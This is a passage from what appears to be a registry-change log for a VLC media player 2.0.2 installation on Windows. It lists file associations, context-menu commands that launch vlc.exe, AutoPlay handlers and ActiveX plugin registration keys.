"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file vcd:///%1"

[HKCR\VLC.m3u8\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.aif\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0\FLAGS]
"(Default)" = "0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".bin" = "VLC.bin"

[HKCR\VLC.oga\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\.m2v]
"(Default)" = "VLC.m2v"

[HKCR\VLC.mlp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.dts]
"(Default)" = "VLC.dts"

[HKCR\.wma]
"(Default)" = "VLC.wma"

[HKCR\VLC.xspf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.flac]
"(Default)" = "VLC.flac"

[HKCR\VLC.mpe\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}]
"(Default)" = "IVLCPlaylist"

[HKCR\.mpeg2]
"(Default)" = "VLC.mpeg2"

[HKCR\VLC.m3u\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mkv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.aac\shell\Open]
"(Default)" = "Play"

[HKCR\.ts]
"(Default)" = "VLC.ts"

[HKCR\VLC.flv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mod\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tod\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".AC3" = ""

[HKCR\VLC.tts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.w64\shell]
"(Default)" = "Open"

[HKCR\Directory\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.wv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mkv" = ""

[HKCR\VLC.cda\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.mtv]
"(Default)" = "VLC.mtv"

[HKCR\VLC.mtv\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".AAC" = "VLC.aac"

[HKCR\VLC.vob\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mka" = ""

[HKCR\VLC.mlp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.2]
"Path" = "%Program Files% (x86)\VideoLAN\VLC\npvlc.dll"

[HKCR\VLC.m3u8\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp2v\shell]
"(Default)" = "Open"

[HKCR\VLC.bin\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.aifc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.nsv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpg\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.CDAudio]
"(Default)" = "VLC CD Audio"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.ifo\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m4a\shell]
"(Default)" = "Open"

[HKCR\VLC.m4p]
"(Default)" = "VLC media file (.m4p)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".MOD" = "VLC.mod"

[HKCR\Applications\vlc.exe\SupportedTypes]
".tod" = ""

[HKCR\VLC.mp2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.au]
"(Default)" = "VLC media file (.au)"

[HKCR\VLC.rmi\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.snd]
"(Default)" = "VLC media file (.snd)"

[HKCR\VLC.xspf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}]
"(Default)" = "IVLCMarquee"

[HKCR\VLC.asf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mtv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.flv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.SVCDMovie\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aob\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3g2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.a52\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.aac]
"(Default)" = "VLC.aac"

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.w64\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\.rmvb]
"(Default)" = "VLC.rmvb"

[HKCR\VLC.wav\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".TTA" = "VLC.tta"

[HKCR\VLC.rmvb\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.ogm]
"(Default)" = "VLC.ogm"

[HKCR\VLC.mpeg4\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.divx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".tts" = "VLC.tts"

[HKCR\.rm]
"(Default)" = "VLC.rm"

[HKCR\.ram]
"(Default)" = "VLC.ram"

[HKCR\VLC.dts]
"(Default)" = "VLC media file (.dts)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".rm" = "VLC.rm"

[HKCR\VLC.m4a\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.vlc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mid\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpeg4\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ape\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpeg2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.adt\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"Action" = "Play audio CD"

[HKCR\VLC.snd\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".wma" = ""

[HKCR\VLC.aif\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.3gp]
"(Default)" = "VLC.3gp"

[HKCR\VLC.vob\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\.ac3]
"(Default)" = "VLC.ac3"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}]
"(Default)" = "IVLCPlaylistItems"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".M4A" = "VLC.m4a"

[HKCR\VLC.vob\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpeg1\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".aifc" = ""
".aiff" = ""

[HKCR\VLC.dv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m4p" = "VLC.m4p"

[HKCR\VLC.m4v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ts" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m4v" = "VLC.m4v"

[HKCR\VLC.mpv2\shell]
"(Default)" = "Open"

[HKCR\VLC.voc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".dts" = "VLC.dts"

[HKCR\VLC.tts]
"(Default)" = "VLC media file (.tts)"

[HKCR\VLC.avi\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.ac3\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ram\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m3u\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpv2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.wv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.cda]
"(Default)" = "VLC.cda"

[HKCR\VLC.pls\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".FLAC" = "VLC.flac"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.caf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.gxf]
"(Default)" = "VLC media file (.gxf)"

[HKCR\VLC.m2ts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.webm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3ga\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0]
"(Default)" = "VideoLAN VLC ActiveX Plugin"

[HKCR\VLC.tod\shell\Open]
"(Default)" = "Play"

[HKCR\.m2t]
"(Default)" = "VLC.m2t"

[HKCR\VLC.ogg\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m2t\shell]
"(Default)" = "Open"

[HKCR\VLC.3ga\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.vro\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpg\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}]
"(Default)" = "DVLCEvents"

[HKCR\VLC.vlc]
"(Default)" = "VLC media file (.vlc)"

[HKCR\VLC.webm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.sdp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3g2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.DVDMovie\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file dvd:///%1"

[HKCR\VLC.mpg\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.cue\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.amv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mov\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\.3ga]
"(Default)" = "VLC.3ga"

[HKCR\.wav]
"(Default)" = "VLC.wav"

[HKCR\VLC.mpeg4\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.divx]
"(Default)" = "VLC.divx"

[HKCR\VLC.oga\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogg\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m4p\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.vqf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ogg\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.gxf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.aac\shell]
"(Default)" = "Open"

[HKCR\VLC.ape\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".MID" = "VLC.mid"

[HKCR\VLC.a52\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.s3m]
"(Default)" = "VLC media file (.s3m)"

[HKCR\VLC.flac\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.mp4v]
"(Default)" = "VLC.mp4v"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".oma" = "VLC.oma"

[HKCR\VLC.tts\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayDVDMovieOnArrival]
"VLCPlayDVDMovieOnArrival" = ""

[HKCR\VLC.ogg\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mpa\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.oma\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\ProgID]
"(Default)" = "VideoLAN.VLCPlugin.1"

[HKCR\VLC.divx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.mp2]
"(Default)" = "VLC.mp2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"InvokeProgID" = "VLC.OPENFolder"
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.SVCDMovie\shell]
"(Default)" = "Open"

[HKCR\VLC.tta\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.rm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.aob]
"(Default)" = "VLC.aob"

[HKCR\VLC.f4v\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".avi" = ""

[HKCR\VLC.oma\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.3gp2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m4p\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.m2ts]
"(Default)" = "VLC.m2ts"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.tts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.flv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ram\shell]
"(Default)" = "Open"

[HKCR\VLC.3g2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aifc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.nsv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.drc]
"(Default)" = "VLC.drc"

[HKCR\VLC.3g2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.669\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oga\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.tod]
"(Default)" = "VLC media file (.tod)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mts" = ""
".mtv" = ""

[HKCR\VLC.au\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wv\shell]
"(Default)" = "Open"

[HKCR\VLC.mxf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.b4s\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".au" = "VLC.au"

[HKCR\VLC.f4v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mka\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aac\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.adt\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.caf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aif]
"(Default)" = "VLC media file (.aif)"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"DisplayIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe"

[HKCR\Applications\vlc.exe\SupportedTypes]
".gxf" = ""

[HKCR\VLC.voc\shell]
"(Default)" = "Open"

[HKCR\VLC.m4v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.DVDMovie\shell]
"(Default)" = "Open"

[HKCR\VLC.mpv2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.mkv]
"(Default)" = "VLC.mkv"

[HKCR\VLC.mlp\shell]
"(Default)" = "Open"

[HKCR\VLC.wv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayMusicFilesOnArrival]
"VLCPlayMusicFilesOnArrival" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".SPX" = ""

[HKCR\VLC.vqf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.drc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}]
"(Default)" = "IVLCMarquee"

[HKCR\VLC.mpeg\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.qcp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.669\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.xa\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gpp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.s3m\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.amv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.f4v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aif\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.asf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogm\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.b4s\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.nuv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.f4v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.sdp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpg]
"(Default)" = "VLC media file (.mpg)"

[HKCR\VLC.mpeg\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mid\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m4p\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.gxf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"DisplayVersion" = "2.0.2"

[HKCR\.aiff]
"(Default)" = "VLC.aiff"

[HKCR\VLC.mtv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gp\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.tta\shell]
"(Default)" = "Open"

[HKCR\VLC.divx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.flac\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MID" = ""

[HKCR\VLC.rmvb\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.amv]
"(Default)" = "VLC.amv"

[HKCR\VLC.mp1\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oma\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mlp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".AAC" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m2ts" = "VLC.m2ts"

[HKCR\VLC.qcp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".AC3" = "VLC.ac3"

[HKCR\VLC.a52\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".669" = ""

[HKCR\.3gp2]
"(Default)" = "VLC.3gp2"

[HKCR\VLC.nsv\shell]
"(Default)" = "Open"

[HKCR\VLC.b4s\shell]
"(Default)" = "Open"

[HKCR\VLC.mxf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rec\shell\AddToPlaylistVLC]
